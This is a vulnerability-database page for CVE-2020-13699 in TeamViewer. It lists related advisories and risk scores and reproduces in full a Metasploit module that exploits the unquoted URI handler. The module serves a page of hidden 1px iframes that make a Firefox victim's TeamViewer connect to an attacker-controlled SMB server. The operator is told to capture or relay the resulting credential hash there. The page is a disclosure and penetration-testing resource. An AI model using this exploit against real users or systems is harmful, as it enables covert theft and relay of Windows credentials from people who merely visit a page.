TeamViewer Unquoted URI Handler SMB Redirect

🗓️ 19 Aug 2020 17:40:59Reported by Jeffrey Hofmann <[email protected]>, h00dieType

TeamViewer Unquoted URI Handler SMB Redirect exploi

Reporter	Title	Published	Views	Family All 17
ATTACKERKB	CVE-2020-13699	29 Jul 202000:00	–	attackerkb
BDU FSTEC	The vulnerability of TeamViewer’s remote control software lies in the lack of commas in the syntax of certain elements or search paths. This allows a hacker to intercept the administrator’s password hash.	20 Aug 202000:00	–	bdu_fstec
Circl	CVE-2020-13699	8 Aug 202021:10	–	circl
CVE	CVE-2020-13699	29 Jul 202015:36	–	cve
Cvelist	CVE-2020-13699	29 Jul 202015:36	–	cvelist
Kitploit	CVE-2020-13699	4 Sep 202613:58	–	kitploit
NCSC	Vulnerability fixed in TeamViewer	11 Aug 202000:00	–	ncsc
NVD	CVE-2020-13699	29 Jul 202016:15	–	nvd
OpenVAS	TeamViewer Unqoted URI Handler Vulnerability (CVE 2020-13699) - Windows	16 Mar 202100:00	–	openvas
OSV	CVE-2020-13699	29 Jul 202016:15	–	osv

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'TeamViewer Unquoted URI Handler SMB Redirect',
        'Description' => %q{
          This module exploits an unquoted parameter call within the Teamviewer
          URI handler to create an SMB connection to an attacker controlled IP.
          TeamViewer < 8.0.258861, 9.0.258860, 10.0.258873, 11.0.258870,
          12.0.258869, 13.2.36220, 14.2.56676, 14.7.48350, and 15.8.3 are
          vulnerable.
          Only Firefox can be exploited by this vulnerability, as all other
          browsers encode the space after 'play' and before the SMB location,
          preventing successful exploitation.
          Teamviewer 15.4.4445, and 8.0.16642 were succssfully tested against.
        },
        'Author' => [
          'Jeffrey Hofmann <[email protected]>', # Vuln discovery, PoC, etc
          'h00die' # msf module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'https://jeffs.sh/CVEs/CVE-2020-13699.txt' ],
          [ 'CVE', '2020-13699' ],
          [ 'URL', 'https://community.teamviewer.com/t5/Announcements/Statement-on-CVE-2020-13699/td-p/98448' ]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptString.new('FILE_NAME', [false, 'Arbitrary tv file location', '\\teamviewer\\config.tvs']),
        OptString.new('SMB_SERVER', [true, 'SMB server IP address', '']),
        OptEnum.new('URI_HANDLER', [
          true, 'TeamViewer URI Handler', 'teamviewer10', [
            'teamviewer10',
            'teamviewer8', 'teamviewerapi', 'tvchat1', 'tvcontrol1', 'tvfiletransfer1', 'tvjoinv8',
            'tvpresent1', 'tvsendfile1', 'tvsqcustomer1', 'tvsqsupport1', 'tvvideocall1', 'tvvpn1'
          ]
        ])
      ]
    )
  end

  def html_content
    # For some reason, tends to work best when double iframes.  Single will pop up the 'open app' message, but tends to not connect.
    %(
    <html>
    <head></head>
    <body>
      <iframe style="height:1px;width:1px;" src="#{datastore['URI_HANDLER']}: --play \\\\#{datastore['SMB_SERVER']}#{datastore['FILE_NAME']}"></iframe>
      <iframe style="height:1px;width:1px;" src="#{datastore['URI_HANDLER']}: --play \\\\#{datastore['SMB_SERVER']}#{datastore['FILE_NAME']}"></iframe>
    </body>
    </html>
    )
  end

  def on_request_uri(cli, req)
    print_status("Request received for: #{req.uri}")

    ua = req.headers['User-Agent'].to_s

    unless ua.include?('Firefox')
      print_error('Target is not Firefox')
      return
    end

    print_status("Sending TeamViewer Link to #{ua}...")
    send_response_html(cli, html_content)
  end

  def run
    print_good("Please start an SMB capture/relay on #{datastore['SMB_SERVER']}")
    exploit
  end
end

25 Sep 2025 18:57Current

8.7High risk

Vulners AI Score8.7

CVSS 26.8

CVSS 3.18.8

EPSS0.25789